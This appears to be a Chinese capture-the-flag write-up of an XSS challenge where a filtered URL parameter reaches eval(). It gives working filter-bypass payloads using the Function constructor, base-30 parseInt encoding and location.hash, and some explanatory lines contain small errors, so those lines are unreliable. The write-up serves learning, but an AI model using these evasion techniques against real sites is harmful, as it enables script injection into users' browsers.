maifa = (new URL(location).searchParams.get('mafia') || '1+1');
// 使用URL对象获取当前页面的URL,并从中提取参数“mafia”的值,如果URL中无“mafia”这个参数,则默认设置值为'1+1'(如果参数值存在为真,则将其赋值给maifa变量,否则将'1+1'赋值给mafia变量)
mafia = mafia.slice(0,50);
// 将这个参数截取0-50位
mafia = mafia.replace(/[\`\'\"+\-\!\\\[\]]/gi,'_');
// 查看是否匹配这样的正则,匹配的话,将其置为下划线
mafia = mafia.replace(/alert|confirm|prompt/g,'_');
// 如果有alert,confirm,prompt,也将其置为下划线
eval(mafia);
// eval对mafia该函数求值并返回结果
PS:代码已分析
解析代码
从代码中可看出,过滤了(`),('),("),(+),(-),(!);以及 过滤了弹窗函数alert,confirm,prompt这三个。
PS:弹窗最常用的三个函数,为alert,confirm,prompt,都可实现弹窗
payload:alert(1337)
payload:confirm(1337)
payload:prompt(1337)
Function构造函数创建一个新的Function对象。直接调用此构造函数可用动态创建函数,创建的函数只能在全局作用域中运行。
// Function实现弹窗
Function(/ALERT(1337)/.source.toLowerCase())()
// 使用toLowerCase()方法将传递进来的ALERT(1337)参数转成小写,然后用最后的()执行
利用30进制来绕过。
parseInt(*string*,*radix*)解析一个字符并返回指定基数的十进制整数,radix是2-36之间的整数,表示被解析的字符串基数。
- string:将被解析的值。若不是字符串,将其转为字符串(使用toString抽象操作)。
- radix(可选):2-36,表示字符串基数。例:指定16表示被解析值是十六进制数。
parseInt('1234',5) // 将'123'看做5进制数,返回十进制数38 =》1*5^2 + 2*5^1 + 3*5^0
为何使用30进制?
parseInt('alert',30)
a 11
t 30 --> 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F....
// alert中,最大的字母是t,t对应的数字是30,所以使用30进制
例:使用29进制,t无法转换
parseInt('alert',29) // 261984
261984..toString(29) // 'aler'
实现绕过,出现弹窗
parseInt('alert',30)
// 8680439
8680439..toString(30)
// 'alert'
eval(8680439..toString(30))(1337)
url.href = 'https://www.baidu.com/en-US/search?q=URL#search-results-close-container'
console.log(url.search-results-close-container)
可看出location.hash是取url中#后面的部分。
使用slice(1):从第一位开始切割,将alert(1)切割出来
payload:eval(location.hash.slice(1))#alert(1337)
// 使用上述代码即可实现绕过